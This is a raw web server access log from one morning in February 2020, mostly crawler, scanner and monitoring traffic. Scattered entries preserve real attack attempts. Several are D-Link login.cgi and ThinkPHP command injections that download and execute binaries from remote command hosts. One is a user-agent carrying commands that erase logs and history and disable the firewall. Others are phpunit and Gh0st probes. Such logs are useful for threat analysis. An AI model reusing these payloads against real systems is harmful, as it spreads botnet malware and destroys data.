138.97.226.189 - - [21/Feb/2020:05:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
185.142.236.35 - - [21/Feb/2020:05:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
185.142.236.35 - - [21/Feb/2020:05:34:50 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
185.142.236.35 - - [21/Feb/2020:05:34:50 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
185.142.236.35 - - [21/Feb/2020:05:34:50 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
185.142.236.35 - - [21/Feb/2020:05:34:50 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.20.0"
109.101.199.19 - - [21/Feb/2020:05:36:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.101.199.19 - - [21/Feb/2020:05:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
177.11.136.85 - - [21/Feb/2020:05:53:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.69.217.200 - - [21/Feb/2020:05:54:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
82.50.121.193 - - [21/Feb/2020:06:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
196.52.43.88 - - [21/Feb/2020:06:01:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
151.73.124.192 - - [21/Feb/2020:06:06:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.148.10.179 - - [21/Feb/2020:06:06:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [21/Feb/2020:06:07:13 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [21/Feb/2020:06:08:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
112.85.4.253 - - [21/Feb/2020:06:12:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
80.251.106.140 - - [21/Feb/2020:06:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
167.114.209.28 - - [21/Feb/2020:06:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.209.28 - - [21/Feb/2020:06:20:33 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.209.28 - - [21/Feb/2020:06:20:33 +0100] "GET /sitemap.xml HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.209.28 - - [21/Feb/2020:06:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.209.28 - - [21/Feb/2020:06:20:34 +0100] "GET /ads.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
167.114.209.28 - - [21/Feb/2020:06:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G925F Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36"
51.77.246.68 - - [21/Feb/2020:06:22:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Dataprovider.com)"
5.101.0.209 - - [21/Feb/2020:06:23:15 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.148.10.179 - - [21/Feb/2020:06:25:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [21/Feb/2020:06:25:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
5.101.0.209 - - [21/Feb/2020:06:28:18 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
45.148.10.179 - - [21/Feb/2020:06:28:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [21/Feb/2020:06:29:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [21/Feb/2020:06:29:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [21/Feb/2020:06:30:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [21/Feb/2020:06:30:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
45.148.10.179 - - [21/Feb/2020:06:35:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
185.140.102.164 - - [21/Feb/2020:06:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
194.173.174.106 - - [21/Feb/2020:06:46:35 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36"
193.198.66.62 - - [21/Feb/2020:06:49:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
54.82.168.62 - - [21/Feb/2020:06:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
118.24.151.64 - - [21/Feb/2020:06:52:00 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:01 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:02 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:03 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:03 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:04 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:04 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:05 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
118.24.151.64 - - [21/Feb/2020:06:52:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
165.255.126.138 - - [21/Feb/2020:06:56:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
96.43.162.69 - - [21/Feb/2020:07:00:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:07:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:07:09:23 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [21/Feb/2020:07:11:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:07:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.54 - - [21/Feb/2020:07:13:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.101.225.21 - - [21/Feb/2020:07:14:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [21/Feb/2020:07:16:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:07:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.53 - - [21/Feb/2020:07:18:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [21/Feb/2020:07:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.39.9.63 - - [21/Feb/2020:07:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.42.107.166 - - [21/Feb/2020:07:22:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:07:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
17.58.103.230 - - [21/Feb/2020:07:26:44 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
17.58.96.45 - - [21/Feb/2020:07:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)"
5.236.73.181 - - [21/Feb/2020:07:27:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:07:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [21/Feb/2020:07:28:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:07:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.220.250.125 - - [21/Feb/2020:07:32:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [21/Feb/2020:07:32:42 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [21/Feb/2020:07:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.218.81.75 - - [21/Feb/2020:07:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
155.133.86.198 - - [21/Feb/2020:07:42:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.171.97 - - [21/Feb/2020:07:49:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [21/Feb/2020:07:49:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [21/Feb/2020:07:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.137.152.35 - - [21/Feb/2020:07:50:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:07:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:07:51:39 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:07:53:18 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:07:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [21/Feb/2020:07:53:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:07:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:07:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:08:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
